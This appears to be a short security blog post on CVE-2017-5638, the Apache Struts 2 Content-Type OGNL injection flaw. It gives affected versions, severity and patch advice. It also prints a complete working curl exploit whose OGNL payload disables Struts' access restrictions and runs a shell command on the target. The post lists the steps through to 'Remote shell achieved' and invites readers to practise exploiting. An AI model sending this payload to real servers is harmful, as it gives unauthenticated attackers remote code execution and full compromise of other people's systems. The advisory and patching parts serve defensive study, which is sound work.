Listen to this Post
How the mentioned CVE works:
The CVE-2017-5638 vulnerability resides in the Jakarta Multipart parser of Apache Struts 2. The flaw is triggered when an attacker sends a malformed `Content-Type` HTTP header within a file upload request. The parser incorrectly processes this header, allowing the insertion of Object-Graph Navigation Language (OGNL) expressions. These expressions are then evaluated by the Struts framework. Since OGNL expressions can execute arbitrary Java code, this evaluation flaw permits an unauthenticated attacker to achieve remote code execution on the target server with the same privileges as the Struts application itself. The exploit is straightforward, requiring only a crafted HTTP request to a vulnerable endpoint.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: Patch Available
What Undercode Say:
`curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’id’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://target.com/upload.action`
How Exploit:
Craft malicious Content-Type header.
Target vulnerable Struts endpoint.
OGNL expression execution.
Remote shell achieved.
Protection from this CVE:
Apply vendor patch immediately.
Upgrade to Struts 2.3.32 or 2.5.10.1.
Implement WAF rules.
Filter malicious HTTP headers.
Impact:
Full system compromise.
Arbitrary command execution.
Data breach potential.
Complete application control.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
